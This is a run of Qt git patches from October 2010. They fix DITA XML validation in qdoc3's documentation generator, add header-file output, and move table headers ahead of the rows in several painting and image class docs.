a/tools/qdoc3/text.h b/tools/qdoc3/text.h index 879f6da..93428ed 100644 --- a/tools/qdoc3/text.h +++ b/tools/qdoc3/text.h @@ -73,7 +73,7 @@ class Text QString toString() const; const Atom *firstAtom() const { return first; } const Atom *lastAtom() const { return last; } - Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0) const; + Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0, bool inclusive = false) const; void dump() const; void clear(); -- cgit v0.12 From 2ec8af79c81caf960c54913d0a57c89b74606b34 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 13:40:49 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 668d6ed..062a023 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1403,6 +1403,19 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, tableColumnCount = 0; break; case Atom::TableHeaderLeft: + if (inTableBody) { + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + inTableHeader = false; + inTableBody = false; + tableColumnCount = 0; + xmlWriter().writeStartElement("table"); + numTableRows = 0; + tableColumnCount = countTableColumns(atom); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + } xmlWriter().writeStartElement("thead"); xmlWriter().writeAttribute("valign","top"); xmlWriter().writeStartElement("row"); @@ -1446,8 +1459,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString s = "span(" + spans[0] + "," + spans[1] + ")"; xmlWriter().writeAttribute("outputclass",s); } - if (!inTableHeader) - xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1457,7 +1468,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (inTableHeader) xmlWriter().writeEndElement(); // else { - xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } if (matchAhead(atom, Atom::ParaLeft)) @@ -1493,10 +1503,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::Target: + if (in_para) { + xmlWriter().writeEndElement(); //

    + in_para = false; + } xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(atom->string())); xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(protectEnc(atom->string())); + //xmlWriter().writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); //

    break; case Atom::UnhandledFormat: -- cgit v0.12 From 0df0141ac041fdd65564908f233c29da0fd5c067 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:02:22 +0200 Subject: doc: Moved some table headers to be before the rows. --- src/gui/painting/qpainter.cpp | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp index 7fed7e4..9afb62f 100644 --- a/src/gui/painting/qpainter.cpp +++ b/src/gui/painting/qpainter.cpp @@ -1113,14 +1113,14 @@ void QPainterPrivate::updateState(QPainterState *newState) the range of available patterns. \table - \row - \o \inlineimage qpainter-vectordeformation.png - \o \inlineimage qpainter-gradients.png - \o \inlineimage qpainter-pathstroking.png \header \o \l {demos/deform}{Vector Deformation} \o \l {demos/gradients}{Gradients} \o \l {demos/pathstroke}{Path Stroking} + \row + \o \inlineimage qpainter-vectordeformation.png + \o \inlineimage qpainter-gradients.png + \o \inlineimage qpainter-pathstroking.png \endtable @@ -1193,13 +1193,13 @@ void QPainterPrivate::updateState(QPainterState *newState) coordinate transformations. \table + \header + \o nop \o rotate() \o scale() \o translate() \row \o \inlineimage qpainter-clock.png \o \inlineimage qpainter-rotation.png \o \inlineimage qpainter-scale.png \o \inlineimage qpainter-translation.png - \header - \o nop \o rotate() \o scale() \o translate() \endtable The most commonly used transformations are scaling, rotation, -- cgit v0.12 From 4f91ec092e62f03cc68cde4d6a070d3caa8c657d Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:42:43 +0200 Subject: doc: Moved some table headers before the rows. --- src/gui/painting/qpainterpath.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp index ffd0d5c..d96c9b7 100644 --- a/src/gui/painting/qpainterpath.cpp +++ b/src/gui/painting/qpainterpath.cpp @@ -240,12 +240,12 @@ static void qt_debug_path(const QPainterPath &path) provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable See the Qt::FillRule documentation for the definition of the @@ -315,12 +315,12 @@ static void qt_debug_path(const QPainterPath &path) QPainterPath to draw text. \table - \row - \o \inlineimage qpainterpath-example.png - \o \inlineimage qpainterpath-demo.png \header \o \l {painting/painterpaths}{Painter Paths Example} \o \l {demos/deform}{Vector Deformation Demo} + \row + \o \inlineimage qpainterpath-example.png + \o \inlineimage qpainterpath-demo.png \endtable \sa QPainterPathStroker, QPainter, QRegion, {Painter Paths Example} @@ -1244,12 +1244,12 @@ Qt::FillRule QPainterPath::fillRule() const fillRule. Qt provides two methods for filling paths: \table - \row - \o \inlineimage qt-fillrule-oddeven.png - \o \inlineimage qt-fillrule-winding.png \header \o Qt::OddEvenFill (default) \o Qt::WindingFill + \row + \o \inlineimage qt-fillrule-oddeven.png + \o \inlineimage qt-fillrule-winding.png \endtable \sa fillRule() -- cgit v0.12 From e3d8c3b9ca03a90be0b5032f195acfb4d0ce7bb4 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:43:18 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 062a023..2d719cf 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1333,6 +1333,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: + qDebug() << "RAW:" << atom->string(); xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: @@ -2597,6 +2598,8 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) { + if (nodeMap.isEmpty()) + return; xmlWriter().writeStartElement("table"); xmlWriter().writeAttribute("outputclass","annotated"); xmlWriter().writeStartElement("tgroup"); -- cgit v0.12 From 1a0394398bbb7bb03356a5b06582f99d412366f6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 20 Oct 2010 14:49:54 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2d719cf..2e5652c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1094,11 +1094,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("font"); - xmlWriter().writeAttribute("color","red"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("[Missing image: "); xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    } else { xmlWriter().writeStartElement("fig"); @@ -1333,7 +1333,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: - qDebug() << "RAW:" << atom->string(); xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: -- cgit v0.12 From b55cb6f7801dadc2b442589d9584f8946ac00a52 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 22 Oct 2010 13:48:21 +0200 Subject: doc: Moved some table headers ahead of the rows. --- src/gui/image/qimage.cpp | 8 ++++---- src/gui/painting/qbrush.cpp | 8 ++++---- src/gui/painting/qcolor.cpp | 4 ++-- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/src/gui/image/qimage.cpp b/src/gui/image/qimage.cpp index 1157b93..2bb0897 100644 --- a/src/gui/image/qimage.cpp +++ b/src/gui/image/qimage.cpp @@ -513,12 +513,12 @@ bool QImageData::checkForAlphaPixels() const function. For example: \table + \header + \o {2,1}32-bit \row \o \inlineimage qimage-32bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 0 - \header - \o {2,1}32-bit \endtable In case of a 8-bit and monchrome images, the pixel value is only @@ -534,12 +534,12 @@ bool QImageData::checkForAlphaPixels() const example: \table + \header + \o {2,1} 8-bit \row \o \inlineimage qimage-8bit_scaled.png \o \snippet doc/src/snippets/code/src_gui_image_qimage.cpp 1 - \header - \o {2,1} 8-bit \endtable QImage also provide the scanLine() function which returns a diff --git a/src/gui/painting/qbrush.cpp b/src/gui/painting/qbrush.cpp index d0788c7..55e5ca4 100644 --- a/src/gui/painting/qbrush.cpp +++ b/src/gui/painting/qbrush.cpp @@ -1208,14 +1208,14 @@ QDataStream &operator>>(QDataStream &s, QBrush &b) Each of the types is represented by a subclass of QGradient: \table - \row - \o \inlineimage qgradient-linear.png - \o \inlineimage qgradient-radial.png - \o \inlineimage qgradient-conical.png \header \o QLinearGradient \o QRadialGradient \o QConicalGradient + \row + \o \inlineimage qgradient-linear.png + \o \inlineimage qgradient-radial.png + \o \inlineimage qgradient-conical.png \endtable The colors in a gradient are defined using stop points of the diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp index 37d7fa3..b2ce69c 100644 --- a/src/gui/painting/qcolor.cpp +++ b/src/gui/painting/qcolor.cpp @@ -78,12 +78,12 @@ QT_BEGIN_NAMESPACE names. \table + \header + \o RGB \o HSV \o CMYK \row \o \inlineimage qcolor-rgb.png \o \inlineimage qcolor-hsv.png \o \inlineimage qcolor-cmyk.png - \header - \o RGB \o HSV \o CMYK \endtable The QColor constructor creates the color based on RGB values. To -- cgit v0.12 From b8ea919c8b77ef6b6e980dda12e9e907ab39653c Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 22 Oct 2010 13:49:27 +0200 Subject: qdoc: Output the \headerfile as a . --- tools/qdoc3/ditaxmlgenerator.cpp | 455 +++++++++++++++++++++++++-------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 299 insertions(+), 157 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2e5652c..42fa40a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -286,57 +286,6 @@ bool DitaXmlGenerator::inLegaleseText = false; #define CXXVARIABLESTORAGECLASSSPECIFIERSTATIC Doc::alias("cxxVariableStorageClassSpecifierStatic") #define CXXVARIABLEVOLATILE Doc::alias("cxxVariableVolatile") -#define APIREF Doc::alias("apiRef") -#define APINAME Doc::alias("apiName") -#define APIDETAIL Doc::alias("apiDetail") -#define APISYNTAX Doc::alias("apiSyntax") -#define APISYNTAXTEXT Doc::alias("apiSyntaxText") -#define APISYNTAXITEM Doc::alias("apiSyntaxItem") -#define APIDEF Doc::alias("apiDef") -#define APIQUALIFIER Doc::alias("apiQualifier") -#define APIRELATION Doc::alias("apiRelation") -#define APITYPE Doc::alias("apiType") -#define APIARRAY Doc::alias("apiArray") -#define APIDATA Doc::alias("apiData") -#define APIDEFNOTE Doc::alias("apiDefNote") -#define APIDEFITEM Doc::alias("apiDefItem") -#define APIITEMNAME Doc::alias("apiItemName") -#define APIDESC Doc::alias("apiDesc") -#define APIIMPL Doc::alias("apiImpl") - -#define APIPACKAGE Doc::alias("apiPackage") - -#define APICLASSIFIER Doc::alias("apiClassifier") -#define APICLASSIFIERDETAIL Doc::alias("apiClassifierDetail") -#define APICLASSIFIERDEF Doc::alias("apiClassifierDef") -#define APICLASSIFIERMEMBER Doc::alias("apiClassifierMember") -#define APIOTHERCLASSIFIER Doc::alias("apiOtherClassifier") -#define APIBASECLASSIFIER Doc::alias("apiBaseClassifier") - -#define APIOPERATION Doc::alias("apiOperation") -#define APIOPERATIONDETAIL Doc::alias("apiOperationDetail") -#define APIOPERATIONDEF Doc::alias("apiOperationDef") -#define APIRETURN Doc::alias("apiReturn") -#define APIPARAM Doc::alias("apiParam") -#define APIEVENT Doc::alias("apiEvent") -#define APIOPERATIONDEFITEM Doc::alias("apiOperationDefItem") -#define APIOPERATIONCLASSIFIER Doc::alias("apiOperationClassifier") -#define APICONSTRUCTORDEF Doc::alias("apiConstructorDef") - -#define APIVALUE Doc::alias("apiValue") -#define APIVALUEDETAIL Doc::alias("apiValueDetail") -#define APIVALUEDEF Doc::alias("apiValueDef") -#define APIVALUEMEMBER Doc::alias("apiValueMember") -#define APIVALUECLASSIFIER Doc::alias("apiValueClassifier") - -#define APIclassifier Doc::alias("apiclassifier") -#define APIoperation Doc::alias("apioperation") -#define APIpackage Doc::alias("apipackage") -#define APIvalue Doc::alias("apivalue") - -#define APIMAP Doc::alias("apiMap") -#define APIITEMREF Doc::alias("apiItemRef") - QString DitaXmlGenerator::sinceTitles[] = { " New Namespaces", @@ -1094,11 +1043,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("[Missing image: "); xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } else { xmlWriter().writeStartElement("fig"); @@ -1515,7 +1464,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::UnhandledFormat: xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","redFont"); + xmlWriter().writeAttribute("outputclass","error"); xmlWriter().writeCharacters("<Missing DITAXML>"); xmlWriter().writeEndElement(); // break; @@ -1546,14 +1495,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark { QList
    ::ConstIterator s; - const ClassNode* cn = 0; - const NamespaceNode* nsn = 0; - QString title; QString rawTitle; QString fullTitle; if (inner->type() == Node::Namespace) { - nsn = const_cast(static_cast(inner)); + const NamespaceNode* nsn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Namespace"; @@ -1574,7 +1520,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(nsn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); xmlWriter().writeAttribute("spectitle",title); Text brief = nsn->doc().briefText(); // zzz if (!brief.isEmpty()) { @@ -1586,29 +1532,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateStatus(nsn, marker); generateThreadSafeness(nsn, marker); generateSince(nsn, marker); - - xmlWriter().writeStartElement("ul"); - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // bool needOtherSection = false; @@ -1700,10 +1623,31 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif xmlWriter().writeEndElement(); // } else if (inner->type() == Node::Class) { - cn = const_cast(static_cast(inner)); + const ClassNode* cn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Class Reference"; @@ -1731,7 +1675,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); xmlWriter().writeAttribute("spectitle",title); Text brief = cn->doc().briefText(); // zzz if (!brief.isEmpty()) { @@ -1745,29 +1689,6 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateInheritedBy(cn, marker); generateThreadSafeness(cn, marker); generateSince(cn, marker); - - xmlWriter().writeStartElement("ul"); - - QString membersLink = generateListOfAllMemberFile(inner, marker); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // bool needOtherSection = false; @@ -1859,6 +1780,168 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif + xmlWriter().writeEndElement(); // + } + else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) { + const FakeNode* fn = const_cast(static_cast(inner)); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle; + + /* + Note: Because the C++ specialization we are using + has no element, we are using the + element with an outputclass attribute + set to "headerfile" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = fn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, fn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(fn, marker); + generateStatus(fn, marker); + generateThreadSafeness(fn, marker); + generateSince(fn, marker); + xmlWriter().writeEndElement(); // + + bool needOtherSection = false; + QList
    summarySections; + summarySections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + generateSection(s->members, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + attr = cleanRef(name).toLower() + " redundant"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc(name)); + xmlWriter().writeEndElement(); // + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); //
    + } + } + ++s; + } + if (needOtherSection) { + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Additional Inherited Members"); + xmlWriter().writeEndElement(); // + s = summarySections.begin(); + while (s != summarySections.end()) { + if (s->members.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + xmlWriter().writeEndElement(); //
    + } + + writeDetailedDescription(fn, marker, false, QString("Detailed Description")); + xmlWriter().writeEndElement(); // + + // not included: + // not included: + + QList
    detailSections; + detailSections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Classes") { + writeNestedClasses((*s),fn); + break; + } + ++s; + } + + s = detailSections.begin(); + while (s != detailSections.end()) { + if ((*s).name == "Function Documentation") { + writeFunctions((*s),fn,marker); + } + else if ((*s).name == "Type Documentation") { + writeEnumerations((*s),marker); + writeTypedefs((*s),marker); + } + else if ((*s).name == "Namespaces") { + qDebug() << "Nested namespaces" << outFileName(); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker); + } + ++s; + } +#if 0 + QString membersLink = generateListOfAllMemberFile(inner, marker); + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!membersLink.isEmpty() || + !obsoleteLink.isEmpty() || + !compatLink.isEmpty()) { + xmlWriter().writeStartElement("ul"); + if (!membersLink.isEmpty()) + writeXrefListItem(membersLink,"List of all members, including inherited members"); + if (!obsoleteLink.isEmpty()) + writeXrefListItem(obsoleteLink,"Obsolete members"); + if (!compatLink.isEmpty()) + writeXrefListItem(compatLink,"Qt 3 support members"); + xmlWriter().writeEndElement(); // + } +#endif xmlWriter().writeEndElement(); // } } @@ -1906,7 +1989,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker if (moduleNamespaceMap.contains(fake->name())) { xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass","namespaces"); - xmlWriter().writeStartElement("ttitle"); + xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters("Namespaces"); xmlWriter().writeEndElement(); // @@ -1924,6 +2007,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } +#if 0 else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); QString membersLink = generateListOfAllMemberFile(fake, marker); @@ -1951,11 +2035,12 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); //
    } } +#endif else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","apidesc"); + xmlWriter().writeAttribute("outputclass","apiDesc"); generateQmlInstantiates(qml_cn, marker); generateQmlInherits(qml_cn, marker); generateQmlInheritedBy(qml_cn, marker); @@ -2074,45 +2159,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, QString version; QString outputclass; - if (node->type() == Node::Fake || subpage) { - mainElement = "topic"; - nameElement = "title"; - dtd = "dtd/topic.dtd"; - doctype = ""; - switch (node->subType()) { - case Node::Page: - outputclass = "page"; - break; - case Node::Group: - outputclass = "group"; - break; - case Node::Example: - outputclass = "example"; - break; - case Node::HeaderFile: - outputclass = "headerfile"; - break; - case Node::File: - outputclass = "file"; - break; - case Node::Image: // not used - outputclass = "image"; - break; - case Node::Module: - outputclass = "module"; - break; - case Node::ExternalPage: // not used - outputclass = "externalpage"; - break; - case Node::QmlClass: - outputclass = "QML-class"; - break; - default: - outputclass = "page"; - } - } - else if (node->type() == Node::Class) { + if (node->type() == Node::Class) { mainElement = "cxxClass"; nameElement = "apiName"; dtd = "dtd/cxxClass.dtd"; @@ -2131,6 +2178,53 @@ void DitaXmlGenerator::generateHeader(const Node* node, version + "//EN\" \"" + dtd + "\">"; outputclass = "namespace"; } + else if (node->type() == Node::Fake || subpage) { + if (node->subType() == Node::HeaderFile) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = ""; + outputclass = "headerfile"; + } + else { + mainElement = "topic"; + nameElement = "title"; + dtd = "dtd/topic.dtd"; + doctype = ""; + switch (node->subType()) { + case Node::Page: + outputclass = "page"; + break; + case Node::Group: + outputclass = "group"; + break; + case Node::Example: + outputclass = "example"; + break; + case Node::File: + outputclass = "file"; + break; + case Node::Image: // not used + outputclass = "image"; + break; + case Node::Module: + outputclass = "module"; + break; + case Node::ExternalPage: // not used + outputclass = "externalpage"; + break; + case Node::QmlClass: + outputclass = "QML-class"; + break; + default: + outputclass = "page"; + } + } + } xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); @@ -2441,6 +2535,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, return fileName; } +#if 0 QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, CodeMarker* marker, CodeMarker::Status status) @@ -2539,6 +2634,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, endSubPage(); return fileName; } +#endif /*! Write the XML for the class hierarchy to the current XML stream. @@ -4642,7 +4738,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, FunctionNode* fn = const_cast(static_cast(*m)); xmlWriter().writeStartElement(CXXFUNCTION); xmlWriter().writeAttribute("id",fn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); if (fn->metaness() == FunctionNode::Signal) xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) @@ -4811,7 +4907,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, const EnumNode* en = static_cast(*m); xmlWriter().writeStartElement(CXXENUMERATION); xmlWriter().writeAttribute("id",en->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(en->name()); xmlWriter().writeEndElement(); // generateBrief(en,marker); @@ -4861,7 +4957,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, QList::ConstIterator i = items.begin(); while (i != items.end()) { xmlWriter().writeStartElement(CXXENUMERATOR); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters((*i).name()); xmlWriter().writeEndElement(); // @@ -4887,7 +4983,7 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, // not included: if (!(*i).text().isEmpty()) { - xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeStartElement("apiDesc"); generateText((*i).text(), en, marker); xmlWriter().writeEndElement(); // } @@ -4926,7 +5022,7 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, const TypedefNode* tn = static_cast(*m); xmlWriter().writeStartElement(CXXTYPEDEF); xmlWriter().writeAttribute("id",tn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(tn->name()); xmlWriter().writeEndElement(); // generateBrief(tn,marker); @@ -4986,7 +5082,7 @@ void DitaXmlGenerator::writeProperties(const Section& s, const PropertyNode* pn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",pn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(pn->name()); xmlWriter().writeEndElement(); // generateBrief(pn,marker); @@ -5095,7 +5191,7 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, const VariableNode* vn = static_cast(*m); xmlWriter().writeStartElement(CXXVARIABLE); xmlWriter().writeAttribute("id",vn->guid()); - xmlWriter().writeStartElement(APINAME); + xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(vn->name()); 